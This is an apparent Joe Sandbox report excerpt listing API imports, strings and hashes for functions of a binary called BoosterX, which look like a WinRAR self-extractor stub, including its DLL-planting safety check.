_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C037EEC9
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C037EECF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C037EED5
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C037EEDB
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6C037EEE7
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6C037EEF3

Strings

lnk, xrefs: 00007FF6C037E34A, 00007FF6C037E359
@set:user, xrefs: 00007FF6C037DD16, 00007FF6C037DD25
ProgramFilesDir, xrefs: 00007FF6C037D470
HIDE, xrefs: 00007FF6C037E965, 00007FF6C037E974
.tmp, xrefs: 00007FF6C037DA05
<br>, xrefs: 00007FF6C037D65A, 00007FF6C037D669
.lnk, xrefs: 00007FF6C037E386, 00007FF6C037E395
MAX, xrefs: 00007FF6C037EA02, 00007FF6C037EA11
Software\Microsoft\Windows\CurrentVersion, xrefs: 00007FF6C037D481
MIN, xrefs: 00007FF6C037EA65, 00007FF6C037EA74

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Concurrency::cancel_current_task$FileMessageMoveSend$DialogItemPathTemp
String ID: .lnk$.tmp$<br>$@set:user$HIDE$MAX$MIN$ProgramFilesDir$Software\Microsoft\Windows\CurrentVersion$lnk
API String ID: 3007431893-3916287355
Opcode ID: 1243c9d58e10b0f9c1e69fe8408d6eda55fcce4eaed4e803da273c064c99ea82
Instruction ID: 0a98439ec0370b38cf958f30d108c576cbacdc658f17b5e575fec85841ee110b
Opcode Fuzzy Hash: 1243c9d58e10b0f9c1e69fe8408d6eda55fcce4eaed4e803da273c064c99ea82
Instruction Fuzzy Hash: 8713BF22B04B83E9EB109F68D9442EC27B1EB44799F501636DA9DD7BE9DF38E184C340

Function 00007FF6C03806D4 Relevance: 45.9, APIs: 21, Strings: 5, Instructions: 380
filesleeptimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6C036DF4C: GetModuleHandleW.KERNEL32(?,?,?,00000000,?), ref: 00007FF6C036DF94
Part of subcall function 00007FF6C036DF4C: GetProcAddress.KERNEL32(?,?,?,00000000,?), ref: 00007FF6C036DFAC
Part of subcall function 00007FF6C036DF4C: GetProcAddress.KERNEL32(?,?,?,00000000,?), ref: 00007FF6C036DFD9

Part of subcall function 00007FF6C036629C: GetCurrentDirectoryW.KERNEL32 ref: 00007FF6C03662B2
Part of subcall function 00007FF6C036629C: GetCurrentDirectoryW.KERNEL32 ref: 00007FF6C03662EC

Part of subcall function 00007FF6C03793EC: OleInitialize.OLE32 ref: 00007FF6C0379406
Part of subcall function 00007FF6C03793EC: SHGetMalloc.SHELL32 ref: 00007FF6C0379454

GetCommandLineW.KERNEL32 ref: 00007FF6C03808EE
OpenFileMappingW.KERNEL32 ref: 00007FF6C0380987
MapViewOfFile.KERNEL32 ref: 00007FF6C03809B0
UnmapViewOfFile.KERNEL32 ref: 00007FF6C03809C6
MapViewOfFile.KERNEL32 ref: 00007FF6C03809E3
UnmapViewOfFile.KERNEL32 ref: 00007FF6C0380A4A
CloseHandle.KERNEL32 ref: 00007FF6C0380A53
SetEnvironmentVariableW.KERNEL32 ref: 00007FF6C0380B2D
GetLocalTime.KERNEL32 ref: 00007FF6C0380B38
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6C0380B93
SetEnvironmentVariableW.KERNEL32 ref: 00007FF6C0380BA6
GetModuleHandleW.KERNEL32 ref: 00007FF6C0380BAE
LoadIconW.USER32 ref: 00007FF6C0380BCD
DialogBoxParamW.USER32 ref: 00007FF6C0380C36
Sleep.KERNEL32 ref: 00007FF6C0380C66
DeleteObject.GDI32 ref: 00007FF6C0380C8D
DeleteObject.GDI32 ref: 00007FF6C0380C9F
CloseHandle.KERNEL32 ref: 00007FF6C0380CE7
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C0380D57
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C0380D5D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C0380D63

Part of subcall function 00007FF6C037FC8C: SetEnvironmentVariableW.KERNEL32 ref: 00007FF6C037FCC3
Part of subcall function 00007FF6C037FC8C: SetEnvironmentVariableW.KERNELBASE ref: 00007FF6C037FD3C

Strings

winrarsfxmappingfile.tmp, xrefs: 00007FF6C0380979
sfxstime, xrefs: 00007FF6C0380B9F
STARTDLG, xrefs: 00007FF6C0380C25
sfxname, xrefs: 00007FF6C0380B1B
%4d-%02d-%02d-%02d-%02d-%02d-%03d, xrefs: 00007FF6C0380B82

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: File$EnvironmentHandleVariableView$_invalid_parameter_noinfo_noreturn$AddressCloseCurrentDeleteDirectoryModuleObjectProcUnmap$CommandDialogIconInitializeLineLoadLocalMallocMappingOpenParamSleepTimeswprintf
String ID: %4d-%02d-%02d-%02d-%02d-%02d-%03d$STARTDLG$sfxname$sfxstime$winrarsfxmappingfile.tmp
API String ID: 1048086575-3710569615
Opcode ID: bb87de0c1b01ed3e0ea964dee26a773d15bb5b82cbf9db583fa815d9bf748bf7
Instruction ID: c7ae58a19ba21a41a10e992d4b8bf3cc165ce62ac5561cf0ec33e9e7ff022734
Opcode Fuzzy Hash: bb87de0c1b01ed3e0ea964dee26a773d15bb5b82cbf9db583fa815d9bf748bf7
Instruction Fuzzy Hash: AE128E31A18B83A1EB109F68E8452B96361FF85786F505236DADDC7BA6EF3CE144C740

Function 00007FF6C036A46C Relevance: 23.0, APIs: 11, Strings: 2, Instructions: 250
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6C036A4C4

Part of subcall function 00007FF6C0370EE8: WideCharToMultiByte.KERNEL32 ref: 00007FF6C0370F19

SetDlgItemTextW.USER32 ref: 00007FF6C036A533
GetWindowRect.USER32 ref: 00007FF6C036A56D
GetClientRect.USER32 ref: 00007FF6C036A57B
GetWindowLongPtrW.USER32 ref: 00007FF6C036A62C
GetWindowRect.USER32 ref: 00007FF6C036A672
SetWindowTextW.USER32 ref: 00007FF6C036A6AC
GetSystemMetrics.USER32 ref: 00007FF6C036A6B7
GetWindow.USER32 ref: 00007FF6C036A6C8
GetWindowRect.USER32 ref: 00007FF6C036A706
GetWindow.USER32 ref: 00007FF6C036A7C8

Strings

$%s:, xrefs: 00007FF6C036A4AF
CAPTION, xrefs: 00007FF6C036A68F

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: Window$Rect$Text$ByteCharClientItemLongMetricsMultiSystemWideswprintf
String ID: $%s:$CAPTION
API String ID: 2100155373-404845831
Opcode ID: f09754ff845102ccda79200273466886b6e7de95add5815e5c6e323da895e5c6
Instruction ID: 84114a8db43967562bff8f2297072c8e2642d1cb120668f3c18564c69822c3ba
Opcode Fuzzy Hash: f09754ff845102ccda79200273466886b6e7de95add5815e5c6e323da895e5c6
Instruction Fuzzy Hash: 37910632B18A5396E718DF39E80066A67A1FB85785F545535EE8EC7B98CF3CE805CB00

Function 00007FF6C03785A4 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 101
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceExW.KERNELBASE ref: 00007FF6C03785BD
SizeofResource.KERNEL32 ref: 00007FF6C03785D9
LoadResource.KERNEL32 ref: 00007FF6C03785F3
LockResource.KERNEL32 ref: 00007FF6C0378605
GlobalAlloc.KERNELBASE ref: 00007FF6C0378626
GlobalLock.KERNEL32 ref: 00007FF6C037863B
CreateStreamOnHGlobal.COMBASE ref: 00007FF6C0378668
GdipAlloc.GDIPLUS ref: 00007FF6C037867E
GdipCreateHBITMAPFromBitmap.GDIPLUS ref: 00007FF6C03786E9
GlobalUnlock.KERNEL32 ref: 00007FF6C037870C
GlobalFree.KERNEL32 ref: 00007FF6C0378715

Strings

PNG, xrefs: 00007FF6C03785AF

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: Global$Resource$AllocCreateGdipLock$BitmapFindFreeFromLoadSizeofStreamUnlock
String ID: PNG
API String ID: 211097158-364855578
Opcode ID: fd8ee907c37a37ea721c4e5c6a3baa4bdc4dc7e79f3e600676f8c4fa2d46fae9
Instruction ID: 414b61d1112af6e09852e22318751e9efd3796943ebc9097f0755d4861bd6a31
Opcode Fuzzy Hash: fd8ee907c37a37ea721c4e5c6a3baa4bdc4dc7e79f3e600676f8c4fa2d46fae9
Instruction Fuzzy Hash: AB413C25A09B47A2EF149F5AE54437963A0BF88BD6F140535CE8EC77A4EF7CE4498700

Function 00007FF6C035F940 Relevance: 17.1, APIs: 8, Strings: 1, Instructions: 1396COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C03611F1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C03611F7
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C03611FD
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C0361203
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C0361209
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C036120F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C0361215
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C036121B

Strings

__tmp_reference_source_, xrefs: 00007FF6C035FCE2, 00007FF6C035FCF1

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: __tmp_reference_source_
API String ID: 3668304517-685763994
Opcode ID: cecce41aa2bc7ce1222cb977a108751a8b352f261223467f6b66be6f95fb3764
Instruction ID: 17337cfc50a1267f5bfd8713a3bf5e3e2939094433809ea2151e3bae86819f8e
Opcode Fuzzy Hash: cecce41aa2bc7ce1222cb977a108751a8b352f261223467f6b66be6f95fb3764
Instruction Fuzzy Hash: 18D29D66A08AC3A6EA648F25E5413AEB7A1FB81785F444132DBDDC77A6CF3CE454C700

Function 00007FF6C0354840 Relevance: 12.1, APIs: 5, Strings: 1, Instructions: 1624COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C0355125
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C035512B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C0355131
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C0355E1E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C0355E24

Strings

CMT, xrefs: 00007FF6C03559BA

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: CMT
API String ID: 3668304517-2756464174
Opcode ID: b604c9a845cf12cf003dbce948390fa4b7da71dc3bf0753df9959c8a9c66759f
Instruction ID: 06543067478c07d0d9f948c18f3eaddec3237e0c219fcf2e3b63fe5b2e0a514e
Opcode Fuzzy Hash: b604c9a845cf12cf003dbce948390fa4b7da71dc3bf0753df9959c8a9c66759f
Instruction Fuzzy Hash: 02E2CC2AB08683A6EB28DF65D4602FD77A1BB45789F400136DA9EC77A6DF3CE155C300

Function 00007FF6C036407C Relevance: 10.7, APIs: 7, Instructions: 153
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE ref: 00007FF6C03640CB
FindFirstFileW.KERNELBASE ref: 00007FF6C036411E
GetLastError.KERNEL32 ref: 00007FF6C036416F
FindNextFileW.KERNEL32 ref: 00007FF6C0364197
GetLastError.KERNEL32 ref: 00007FF6C03641A5
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C03642CF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C03642D5

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: FileFind$ErrorFirstLast_invalid_parameter_noinfo_noreturn$Next
String ID:
API String ID: 474548282-0
Opcode ID: df5fb015d0809fc36b7a8a0f7a6842cf0e825b584bc584af1691e1d1962cd2a0
Instruction ID: dab39743beb0bc49e79a0ad50ed93e6e3bca6cbdb55518426c9ba6f0392a51dd
Opcode Fuzzy Hash: df5fb015d0809fc36b7a8a0f7a6842cf0e825b584bc584af1691e1d1962cd2a0
Instruction Fuzzy Hash: 9B619062A08A43A6EB109F28E84527D6361FB967A5F505331EAEDC3BD9DF3CD584C700

Function 00007FF6C0355E2C Relevance: 7.6, APIs: 3, Strings: 1, Instructions: 586
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

CMT, xrefs: 00007FF6C03559BA, 00007FF6C035675B

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID:
String ID: CMT
API String ID: 0-2756464174
Opcode ID: 3b349836db39cc0ffb878f66b914c5340b19c329b1b65cc42fc356a8d09ab802
Instruction ID: e092937b5e4423125992e8b22e1e05d51746d14bc48c1114d3365994cb2d316d
Opcode Fuzzy Hash: 3b349836db39cc0ffb878f66b914c5340b19c329b1b65cc42fc356a8d09ab802
Instruction Fuzzy Hash: B342A82AB08683AAEB189F75C1502FD77A5AB55749F400236DB9ED37A6DF38E518C300

Function 00007FF6C036DF4C Relevance: 143.9, APIs: 16, Strings: 66, Instructions: 440
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(?,?,?,00000000,?), ref: 00007FF6C036DF94
GetProcAddress.KERNEL32(?,?,?,00000000,?), ref: 00007FF6C036DFAC
GetProcAddress.KERNEL32(?,?,?,00000000,?), ref: 00007FF6C036DFD9
CreateFileW.KERNEL32 ref: 00007FF6C036E36C
SetFilePointer.KERNEL32 ref: 00007FF6C036E38A
ReadFile.KERNEL32 ref: 00007FF6C036E3B2

Part of subcall function 00007FF6C036DF4C: GetSystemDirectoryW.KERNEL32 ref: 00007FF6C036DD5B

CompareStringW.KERNELBASE ref: 00007FF6C036E4D5
CloseHandle.KERNEL32 ref: 00007FF6C036E46F

Part of subcall function 00007FF6C0351FA0: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C0351FFB

Part of subcall function 00007FF6C0365164: GetVersionExW.KERNEL32 ref: 00007FF6C0365195

Part of subcall function 00007FF6C036DF4C: LoadLibraryExW.KERNELBASE ref: 00007FF6C036DE7B
Part of subcall function 00007FF6C036DF4C: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C036DF31
Part of subcall function 00007FF6C036DF4C: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C036DF37
Part of subcall function 00007FF6C036DF4C: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C036DF3D
Part of subcall function 00007FF6C036DF4C: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C036DF43

AllocConsole.KERNEL32(?,?,?,00000000,?), ref: 00007FF6C036E6C7
GetCurrentProcessId.KERNEL32(?,?,?,00000000,?), ref: 00007FF6C036E6D1
AttachConsole.KERNEL32(?,?,?,00000000,?), ref: 00007FF6C036E6D9
GetStdHandle.KERNEL32(?,?,?,00000000,?), ref: 00007FF6C036E6FC
WriteConsoleW.KERNEL32(?,?,?,00000000,?), ref: 00007FF6C036E715
Sleep.KERNEL32(?,?,?,00000000,?), ref: 00007FF6C036E720
FreeConsole.KERNEL32(?,?,?,00000000,?), ref: 00007FF6C036E726
ExitProcess.KERNEL32 ref: 00007FF6C036E737

Strings

cryptui.dll, xrefs: 00007FF6C036E11F
mlang.dll, xrefs: 00007FF6C036E237
XmlLite.dll, xrefs: 00007FF6C036E2B5
slc.dll, xrefs: 00007FF6C036E1B9
propsys.dll, xrefs: 00007FF6C036E229
DXGIDebug.dll, xrefs: 00007FF6C036E002, 00007FF6C036E532
cscapi.dll, xrefs: 00007FF6C036E1AB
netapi32.dll, xrefs: 00007FF6C036E0E7
profapi.dll, xrefs: 00007FF6C036E181
imageres.dll, xrefs: 00007FF6C036E1C7
clbcatq.dll, xrefs: 00007FF6C036E065
dwmapi.dll, xrefs: 00007FF6C036E039, 00007FF6C036E5DD
Please remove %s from %s folder. It is unsecure to run %s until it is done., xrefs: 00007FF6C036E6B7
uxtheme.dll, xrefs: 00007FF6C036E5E9
samlib.dll, xrefs: 00007FF6C036E253
ntshrui.dll, xrefs: 00007FF6C036E0A7
cryptbase.dll, xrefs: 00007FF6C036E044
setupapi.dll, xrefs: 00007FF6C036E0BD
version.dll, xrefs: 00007FF6C036DFF7
devrtl.dll, xrefs: 00007FF6C036E21B
rasadhlp.dll, xrefs: 00007FF6C036E28B
wkscli.dll, xrefs: 00007FF6C036E261
userenv.dll, xrefs: 00007FF6C036E0D9
shdocvw.dll, xrefs: 00007FF6C036E0F5
dhcpcsvc6.dll, xrefs: 00007FF6C036E299
iphlpapi.DLL, xrefs: 00007FF6C036E1E3
kernel32, xrefs: 00007FF6C036DF8D
ntmarta.dll, xrefs: 00007FF6C036E173
psapi.dll, xrefs: 00007FF6C036E091
apphelp.dll, xrefs: 00007FF6C036E0CB
RpcRtRemote.dll, xrefs: 00007FF6C036E2DF
dfscli.dll, xrefs: 00007FF6C036E26F
SSPICLI.DLL, xrefs: 00007FF6C036E018
secur32.dll, xrefs: 00007FF6C036E149
cabinet.dll, xrefs: 00007FF6C036E157
srvcli.dll, xrefs: 00007FF6C036E19D
ieframe.dll, xrefs: 00007FF6C036E09C
shell32.dll, xrefs: 00007FF6C036E13B
SetDllDirectoryW, xrefs: 00007FF6C036DFA2
netutils.dll, xrefs: 00007FF6C036E1FF
atl.dll, xrefs: 00007FF6C036E0B2
dnsapi.DLL, xrefs: 00007FF6C036E1D5
dhcpcsvc.dll, xrefs: 00007FF6C036E2A7
msasn1.dll, xrefs: 00007FF6C036E111
comres.dll, xrefs: 00007FF6C036E070
browcli.dll, xrefs: 00007FF6C036E27D
linkinfo.dll, xrefs: 00007FF6C036E2C3
ws2help.dll, xrefs: 00007FF6C036E086
cryptsp.dll, xrefs: 00007FF6C036E2D1
ws2_32.dll, xrefs: 00007FF6C036E07B
oleaccrc.dll, xrefs: 00007FF6C036E165
crypt32.dll, xrefs: 00007FF6C036E103
usp10.dll, xrefs: 00007FF6C036E05A
WindowsCodecs.dll, xrefs: 00007FF6C036E18F
aclui.dll, xrefs: 00007FF6C036E2ED
WINNSI.DLL, xrefs: 00007FF6C036E1F1
sfc_os.dll, xrefs: 00007FF6C036E00D
rsaenh.dll, xrefs: 00007FF6C036E023
dsrole.dll, xrefs: 00007FF6C036E2FB
wintrust.dll, xrefs: 00007FF6C036E12D
samcli.dll, xrefs: 00007FF6C036E245
UXTheme.dll, xrefs: 00007FF6C036E02E
mpr.dll, xrefs: 00007FF6C036E20D
peerdist.dll, xrefs: 00007FF6C036E309
lpk.dll, xrefs: 00007FF6C036E04F
SetDefaultDllDirectories, xrefs: 00007FF6C036DFCF

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Console$FileHandle$AddressProcProcess$AllocAttachCloseCompareCreateCurrentDirectoryExitFreeLibraryLoadModulePointerReadSleepStringSystemVersionWrite
String ID: DXGIDebug.dll$Please remove %s from %s folder. It is unsecure to run %s until it is done.$RpcRtRemote.dll$SSPICLI.DLL$SetDefaultDllDirectories$SetDllDirectoryW$UXTheme.dll$WINNSI.DLL$WindowsCodecs.dll$XmlLite.dll$aclui.dll$apphelp.dll$atl.dll$browcli.dll$cabinet.dll$clbcatq.dll$comres.dll$crypt32.dll$cryptbase.dll$cryptsp.dll$cryptui.dll$cscapi.dll$devrtl.dll$dfscli.dll$dhcpcsvc.dll$dhcpcsvc6.dll$dnsapi.DLL$dsrole.dll$dwmapi.dll$ieframe.dll$imageres.dll$iphlpapi.DLL$kernel32$linkinfo.dll$lpk.dll$mlang.dll$mpr.dll$msasn1.dll$netapi32.dll$netutils.dll$ntmarta.dll$ntshrui.dll$oleaccrc.dll$peerdist.dll$profapi.dll$propsys.dll$psapi.dll$rasadhlp.dll$rsaenh.dll$samcli.dll$samlib.dll$secur32.dll$setupapi.dll$sfc_os.dll$shdocvw.dll$shell32.dll$slc.dll$srvcli.dll$userenv.dll$usp10.dll$uxtheme.dll$version.dll$wintrust.dll$wkscli.dll$ws2_32.dll$ws2help.dll
API String ID: 1496594111-2013832382
Opcode ID: 2687c1cd523b65dc0cdc345ea7a2c039bde8b95e1f16db974beb6a896d2519a5
Instruction ID: 6a176535134ec838a50cb710305ad0974224b7ba00534d446727715b9270745e
Opcode Fuzzy Hash: 2687c1cd523b65dc0cdc345ea7a2c039bde8b95e1f16db974beb6a896d2519a5
Instruction Fuzzy Hash: F632F835A09B83A9EB219F64E8411E933A4FF45359F500236DA8DC67A9EF3CE659C340

Function 00007FF6C036989C Relevance: 25.2, APIs: 3, Strings: 11, Instructions: 702COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6C0368E18: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6C0368F4D

_snwprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6C0369F35
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C036A3EF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C036A3F5

Part of subcall function 00007FF6C0370B3C: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF6C0370AC4), ref: 00007FF6C0370B69

Strings

*messages***, xrefs: 00007FF6C0369BC4
DIRECTION, xrefs: 00007FF6C0369DA5
,, xrefs: 00007FF6C0369F6A
$%s:, xrefs: 00007FF6C0369F10
STRINGS, xrefs: 00007FF6C0369D81
MENU, xrefs: 00007FF6C0369D99
, xrefs: 00007FF6C0369DB9
*messages***, xrefs: 00007FF6C0369B86
@%s:, xrefs: 00007FF6C0369F17
DIALOG, xrefs: 00007FF6C0369D8D
RTL, xrefs: 00007FF6C0369EEE

Memory Dump Source

